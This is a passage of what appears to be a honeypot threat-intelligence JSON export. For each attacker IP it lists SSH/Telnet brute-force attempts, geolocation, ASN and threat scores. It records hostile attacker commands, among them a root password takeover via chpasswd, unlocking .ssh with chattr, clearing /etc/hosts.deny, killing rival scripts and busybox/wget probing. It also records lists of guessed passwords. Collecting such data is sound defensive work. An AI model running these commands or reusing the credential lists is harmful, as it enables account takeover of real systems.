      "attack_count": 168,
      "first_seen": "2026-04-28T13:48:56.683Z",
      "last_seen": "2026-04-28T14:29:16.502Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "roots"
      ],
      "passwords_attempted": [
        "!@qweqwe",
        "111111",
        "1qaz1qaz2wsx2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin!@#456",
        "Ebznl150783",
        "Shanyang2025",
        "Tuzi2025",
        "andrea",
        "bonnie",
        "hbss_2026",
        "kingking",
        "millenial",
        "passwd123$",
        "qwe3333333",
        "root!QAZ@WSX",
        "root0000",
        "utsta",
        "windows@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KjlbpoSt2JRd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T13:48:56.683000+00:00",
        "last_seen_30d": "2026-04-28T14:30:19.084000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 52
      }
    },
    "102.212.40.244": {
      "attack_count": 90,
      "first_seen": "2026-04-14T23:10:03.031Z",
      "last_seen": "2026-04-27T01:16:02.889Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Uyo",
      "asn": 329244,
      "as_org": "Connect-Surf-and-Smile-Limited",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T23:10:03.031000+00:00",
        "last_seen_30d": "2026-04-27T01:17:10.774000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 47
      }
    },
    "27.128.175.119": {
      "attack_count": 89,
      "first_seen": "2026-04-20T05:22:20.546Z",
      "last_seen": "2026-04-20T05:48:04.582Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "hafiz",
        "root",
        "345gs5662d34",
        "mbp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "ZAQ!2wsx654321.",
        "ddCC1234",
        "hafiz",
        "mbp"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"hafiz\\n5haygr4UjYNp\\n5haygr4UjYNp\\n\"|passwd",
        "echo -e \"hafiz\\n5haygr4UjYNp\\n5haygr4UjYNp\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T05:22:20.546000+00:00",
        "last_seen_30d": "2026-04-20T05:49:11.867000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 15
      }
    },
    "176.44.112.104": {
      "attack_count": 84,
      "first_seen": "2026-04-27T02:24:03.911Z",
      "last_seen": "2026-04-27T03:05:08.008Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T02:24:03.911000+00:00",
        "last_seen_30d": "2026-04-27T03:06:24.018000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 49
      }
    },
    "60.23.233.126": {
      "attack_count": 84,
      "first_seen": "2026-04-28T22:19:06.726Z",
      "last_seen": "2026-04-28T22:24:39.019Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T22:19:06.726000+00:00",
        "last_seen_30d": "2026-04-28T22:25:41.298000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 43
      }
    },
    "167.86.91.38": {
      "attack_count": 66,
      "first_seen": "2026-04-02T04:25:17.810Z",
      "last_seen": "2026-04-02T05:37:46.918Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T04:25:17.810000+00:00",
        "last_seen_30d": "2026-04-02T05:52:34.009000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Cowrie": 66,
        "Honeytrap": 5
      }
    },
    "186.151.101.208": {
      "attack_count": 64,
      "first_seen": "2026-04-27T22:18:00.865Z",
      "last_seen": "2026-04-27T22:42:37.559Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Costa Rica",
      "country_code": "CR",
      "city": "San Jos\u00e9",
      "asn": 14754,
      "as_org": "TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:18:00.865000+00:00",
        "last_seen_30d": "2026-04-27T22:43:44.074000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 37
      }
    },
    "31.186.173.44": {
      "attack_count": 58,
      "first_seen": "2026-04-30T18:57:07.900Z",
      "last_seen": "2026-04-30T19:00:26.359Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 48635,
      "as_org": "Your Hosting B.V.",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:57:07.900000+00:00",
        "last_seen_30d": "2026-04-30T19:01:32.283000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 30
      }
    },
    "103.110.21.145": {
      "attack_count": 50,
      "first_seen": "2026-04-02T08:51:39.199Z",
      "last_seen": "2026-04-02T08:57:03.600Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132754,
      "as_org": "Realtel Network Services Pvt Ltd",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:51:39.199000+00:00",
        "last_seen_30d": "2026-04-02T08:58:13.605000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.3.14": {
      "attack_count": 50,
      "first_seen": "2026-04-12T22:05:41.347Z",
      "last_seen": "2026-04-12T22:11:08.623Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T22:05:41.347000+00:00",
        "last_seen_30d": "2026-04-12T22:12:16.756000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "190.196.250.1": {
      "attack_count": 50,
      "first_seen": "2026-04-05T08:53:01.925Z",
      "last_seen": "2026-04-05T08:58:27.012Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Granadero Baigorria",
      "asn": 266702,
      "as_org": "MEGALINK S.R.L.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:53:01.925000+00:00",
        "last_seen_30d": "2026-04-05T08:59:36.229000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.18.155": {
      "attack_count": 50,
      "first_seen": "2026-04-26T13:53:35.231Z",
      "last_seen": "2026-04-26T13:58:59.690Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhelum",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T13:53:35.231000+00:00",
        "last_seen_30d": "2026-04-26T14:00:08.202000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.107.208": {
      "attack_count": 48,
      "first_seen": "2026-04-02T20:50:01.589Z",
      "last_seen": "2026-04-02T20:59:03.814Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T20:50:01.589000+00:00",
        "last_seen_30d": "2026-04-02T21:00:10.699000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "159.223.27.164": {
      "attack_count": 41,
      "first_seen": "2026-04-14T11:30:36.318Z",
      "last_seen": "2026-04-14T11:31:52.154Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.6,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:14:14.069000+00:00",
        "last_seen_30d": "2026-04-14T11:41:48.065000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Cowrie": 41
      }
    },
    "165.232.98.79": {
      "attack_count": 30,
      "first_seen": "2026-04-30T15:14:26.721Z",
      "last_seen": "2026-04-30T15:16:05.227Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:14:26.721000+00:00",
        "last_seen_30d": "2026-04-30T15:17:14.151000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "172.94.9.125": {
      "attack_count": 23,
      "first_seen": "2026-04-10T13:29:54.432Z",
      "last_seen": "2026-04-11T12:00:27.387Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2026@kelltech",
        "@1Kelltech",
        "@1kelltech",
        "@2026Kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:29:54.432000+00:00",
        "last_seen_30d": "2026-04-11T12:01:36.785000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "185.93.89.142": {
      "attack_count": 23,
      "first_seen": "2026-04-10T11:06:15.325Z",
      "last_seen": "2026-04-15T14:55:03.496Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "@2026kelltech",
        "Admin@123",
        "P@ssw0rd123@",
        "P@ssw0rd@123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:06:15.325000+00:00",
        "last_seen_30d": "2026-04-15T14:56:07.550000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "37.252.69.10": {
      "attack_count": 23,
      "first_seen": "2026-04-03T10:45:28.978Z",
      "last_seen": "2026-04-03T10:45:35.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "supervisor"
      ],
      "passwords_attempted": [
        "",
        "Zte521",
        "ivdev",
        "supervisor"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox HJLBU",
        "cat /proc/mounts; /bin/busybox HJLBU",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HJLBU",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox HJLBU",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 44395,
      "as_org": "Ucom CJSC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T10:45:28.978000+00:00",
        "last_seen_30d": "2026-04-03T10:46:36.415000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 2
      }
    },
    "64.62.197.197": {
      "attack_count": 23,
      "first_seen": "2026-04-06T06:19:13.129Z",
      "last_seen": "2026-04-29T03:55:46.422Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "Accept-Encoding: gzip",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 YaBrowser/24.1.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 30,
        "ports_targeted_30d": 68,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T08:06:33+00:00",
        "last_seen_30d": "2026-04-30T01:18:49.042000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 150,
        "Honeytrap": 73,
        "Cowrie": 23,
        "Miniprint": 8,
        "Adbhoney": 4,
        "Dionaea": 1,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "195.140.147.192": {
      "attack_count": 20,
      "first_seen": "2026-04-07T04:20:59.866Z",
      "last_seen": "2026-04-07T04:29:57.613Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T04:19:15.213000+00:00",
        "last_seen_30d": "2026-04-07T04:31:02.776000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "198.72.112.103": {
      "attack_count": 18,
      "first_seen": "2026-04-30T13:55:02.450Z",
      "last_seen": "2026-04-30T13:57:51.990Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 32613,
      "as_org": "Leaseweb Canada Inc.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:55:02.450000+00:00",
        "last_seen_30d": "2026-04-30T13:58:54.959000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "104.252.175.235": {
      "attack_count": 15,
      "first_seen": "2026-04-29T16:59:41.029Z",
      "last_seen": "2026-04-29T16:59:53.703Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "adminm",
        "root",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 211273,
      "as_org": "Cloud Software - FZCO",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:59:41.029000+00:00",
        "last_seen_30d": "2026-04-29T17:00:56.830000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "107.174.1.138": {
      "attack_count": 14,
      "first_seen": "2026-04-05T19:22:16.943Z",
      "last_seen": "2026-04-05T19:24:31.892Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T19:22:16.943000+00:00",
        "last_seen_30d": "2026-04-05T19:25:39.848000+00:00",
        "days_since_last_seen": 25
      },
